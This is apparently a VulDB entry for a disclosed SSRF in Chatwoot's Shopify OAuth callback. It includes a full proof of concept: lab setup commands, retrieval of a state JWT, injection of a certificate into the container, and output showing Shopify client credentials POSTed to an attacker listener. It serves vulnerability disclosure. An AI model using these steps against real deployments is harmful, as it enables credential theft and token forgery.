| Titolo | chatwoot <= 3.x Server-Side Request Forgery |
|---|
| Descrizione | Chatwoot Shopify OAuth SSRF + Credential Exfiltration
### Summary
The Shopify OAuth callback endpoint constructs an `OAuth2::Client` using `params[:shop]` as the `site:` hostname without any validation. On code exchange, the OAuth2 gem POSTs to `https://{params[:shop]}/admin/oauth/access_token` with `client_id` and `client_secret` in both the request body and an `Authorization: Basic header`.
Any authenticated user (agent-level) can obtain a non-expiring state JWT and replay it with an arbitrary `shop=` value, redirecting the outbound POST to an attacker-controlled host and exfiltrating the Shopify app credentials.
### Details
Vulnerable code:
```
# callbacks_controller.rb:48 — unvalidated user input
site: "https://#{params[:shop]}"
# integration_helper.rb:17-21 — no exp, no shop binding
def token_payload(account_id)
{ sub: account_id, iat: Time.current.to_i }
end
```
### To Reproduce
### PoC
#### Environment
| Item | Value |
|------|-------|
| Chatwoot image | `chatwoot/chatwoot:latest` (v3.x) |
| DB | `pgvector/pgvector:pg16` |
| Listener IP | `172.18.0.1` (Docker bridge host) |
| Listener port | `9443` (HTTPS) |
| Fake credentials | `SHOPIFY_CLIENT_ID=test_client_12345`, `SHOPIFY_CLIENT_SECRET=test_secret_99999` |
#### Setup
```bash
# 1. Start Chatwoot in Docker
cd vuln-pipeline/targets/chatwoot/docker-test
docker compose up -d
# 2. Create account and obtain API token (sign-up route disabled in prod image)
docker compose exec rails bundle exec rails runner "
u = User.create!(name:'attacker', email:'[email protected]',
password:'P@ssw0rd1!', password_confirmation:'P@ssw0rd1!',
account_id: 1, role: :administrator)
Account.first.account_users.create!(user: u, role: :administrator)
"
TOKEN=$(curl -s -X POST http://localhost:3000/auth/sign_in \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"P@ssw0rd1!"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin)['data']['access_token'])")
# 3. Set fake Shopify credentials in the DB
docker compose exec rails bundle exec rails runner "
['SHOPIFY_CLIENT_ID','SHOPIFY_CLIENT_SECRET'].zip(
['test_client_12345','test_secret_99999']
).each { |name, val|
InstallationConfig.find_by(name: name)&.update!(value: val) ||
InstallationConfig.create!(name: name, value: val, locked: false)
}
"
```
#### Obtain State JWT
```bash
STATE=$(curl -s -X POST http://localhost:3000/api/v1/accounts/2/integrations/shopify/auth \
-H "api_access_token: $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"shop_domain":"legitimate-shop.myshopify.com"}' | \
python3 -c "
import sys, json, urllib.parse as u
redir = json.load(sys.stdin)['redirect_url']
print(u.parse_qs(u.urlparse(redir).query)['state'][0])
")
echo "State JWT: $STATE"
```
#### Inject TLS Certificate into Container
The OAuth2 gem verifies TLS. A self-signed cert for the listener IP must be trusted by the container:
```bash
# Generate cert with SAN=IP:172.18.0.1
openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
-keyout /tmp/poc.key -out /tmp/poc.crt \
-subj "/CN=172.18.0.1" \
-addext "subjectAltName=IP:172.18.0.1"
# Append to container CA bundle
cat /tmp/poc.crt | docker compose exec -T rails sh -c \
'cat >> /etc/ssl/certs/ca-certificates.crt'
```
I have a PoC script that handles cert generation and injection automatically. Let me know if you need that.
#### Fire the Exploit
```bash
python3 scripts/chatwoot-F01-validate.py \
--base-url http://localhost:3000 \
--token "$TOKEN" \
--account-id 2 \
--listen-ip 172.18.0.1 \
--listen-port 9443 \
--container chatwoot-docker-test-rails-1
```
#### Observed Output
```
============================================================
Chatwoot F01 — SSRF + Shopify Credential Exfiltration PoC
============================================================
[*] Requesting state JWT from http://localhost:3000/api/v1/accounts/2/integrations/shopify/auth
[+] State JWT obtained: eyJhbGciOiJIUzI1NiJ9.eyJzdWI...
[+] Self-signed cert written to /tmp/tmp.../chatwoot_poc.crt
[+] CA cert injected into container 'chatwoot-docker-test-rails-1'
[*] HTTPS listener started on 172.18.0.1:9443
[*] Firing callback: GET http://localhost:3000/shopify/callback
shop=172.18.0.1:9443 code=weaponized
[+] VULNERABILITY CONFIRMED — Chatwoot POSTed credentials to attacker listener
Path: /admin/oauth/access_token
Authorization: Basic dGVzdF9jbGllbnRfMTIzNDU6dGVzdF9zZWNyZXRfOTk5OTk=
Decoded creds: test_client_12345:test_secret_99999
SHOPIFY_CLIENT_ID = test_client_12345
SHOPIFY_CLIENT_SECRET = test_secret_99999
POST body: code=weaponized&grant_type=authorization_code&redirect_uri=%2Fshopify%2Fcallback
```
The `Authorization: Basic` header is how the OAuth2 gem authenticates the token exchange - it base64-encodes `client_id:client_secret` and sends it as a header, exfiltrating both values in a single request.
### Impact
- **Credential theft**: `SHOPIFY_CLIENT_SECRET` exfiltrated to attacker
- **SSRF**: server POSTs to arbitrary HTTPS URL (RFC-1918 reachable)
- **Token forgery**: stolen secret enables forging JWTs for any account
- **No expiry**: captured tokens are permanently reusable
|
|---|
| Fonte | ⚠️ https://github.com/chatwoot/chatwoot/issues/14887 |
|---|
| Utente | geochen (UID 78995) |
|---|
| Sottomissione | 21/08/2026 01:11 (27 giorni fa) |
|---|
| Moderazione | 16/09/2026 14:33 (27 days later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 405756 [chatwoot fino a 4.17.1 Shopify OAuth callbacks_controller.rb escalationi di privilegi] |
|---|
| Punti | 20 |
|---|